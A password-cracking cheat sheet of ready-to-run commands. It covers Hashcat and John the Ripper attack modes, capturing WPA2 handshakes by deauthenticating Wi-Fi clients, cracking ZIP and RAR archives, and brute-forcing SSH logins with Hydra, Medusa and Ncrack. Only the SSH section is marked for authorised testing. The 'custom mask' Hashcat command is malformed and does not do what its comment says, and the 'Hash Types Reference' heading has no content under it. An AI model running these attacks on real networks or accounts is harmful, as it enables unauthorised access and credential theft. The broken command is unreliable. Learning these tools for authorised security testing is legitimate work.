Password Cracking with Hashcat & John the Ripper

Hashcat

GitHub: github.com/hashcat/hashcat

# Install
sudo apt install hashcat        # Kali/Debian
# Windows: download from hashcat.net

# Benchmark your GPU speed
hashcat -b

# Generate a test hash to practice
echo -n "password123" | sha256sum
# Output: ef92b778... (use this as your hash.txt)

# Attack Mode 0: Dictionary (most common)
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Attack Mode 3: Brute Force (all combinations)
hashcat -m 1400 -a 3 hash.txt ?a?a?a?a?a?a?a?a

# Attack Mode 6: Hybrid (dict + mask)
hashcat -m 1400 -a 6 hash.txt rockyou.txt ?d?d?d?d

# Mask characters: ?l=lowercase ?u=uppercase ?d=digit ?s=special ?a=all
# Custom mask: 3 uppercase + 4 digits
hashcat -m 1400 -a 3 hash.txt -1 ?u?u?u?d?d?d?d

# Show cracked passwords
hashcat --show hash.txt

# Resume a paused session
hashcat --restore

Hash Types Reference

John the Ripper

GitHub: github.com/openwall/john

# Install
sudo apt install john

# Basic crack (auto-detects hash type)
john hash.txt

# Use a wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Apply mutation rules (adds numbers, symbols to words)
john --wordlist=rockyou.txt --rules=Best64 hash.txt

# Crack Windows NTLM hashes
john --format=nt hash.txt

# Show cracked passwords
john --show hash.txt

# Use multiple CPU cores
john --fork=4 hash.txt

Wi-Fi WPA2 Cracking

# Step 1: Capture WPA handshake (from wireless attack)
sudo airmon-ng start wlan0
sudo airodump-ng -c <CH> --bssid <BSSID> -w capture wlan0mon
sudo aireplay-ng --deauth 5 -a <BSSID> wlan0mon

# Step 2: Convert to hashcat format
hcxpcapngtool capture-01.cap -o hash.hc22000

# Step 3: Crack with hashcat
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Step 4: Or use aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

ZIP & RAR Password Cracking

# ZIP with fcrackzip
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt archive.zip

# ZIP with John
zip2john archive.zip > zip_hash.txt
john --wordlist=rockyou.txt zip_hash.txt

# RAR with John
rar2john archive.rar > rar_hash.txt
john --format=rar5 rar_hash.txt

SSH Brute Force (Authorised Testing Only)

# With Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# With Medusa
medusa -h 192.168.1.1 -U users.txt -P rockyou.txt -M ssh

# With Ncrack
ncrack -U users.txt -P rockyou.txt -T 10 192.168.1.1:22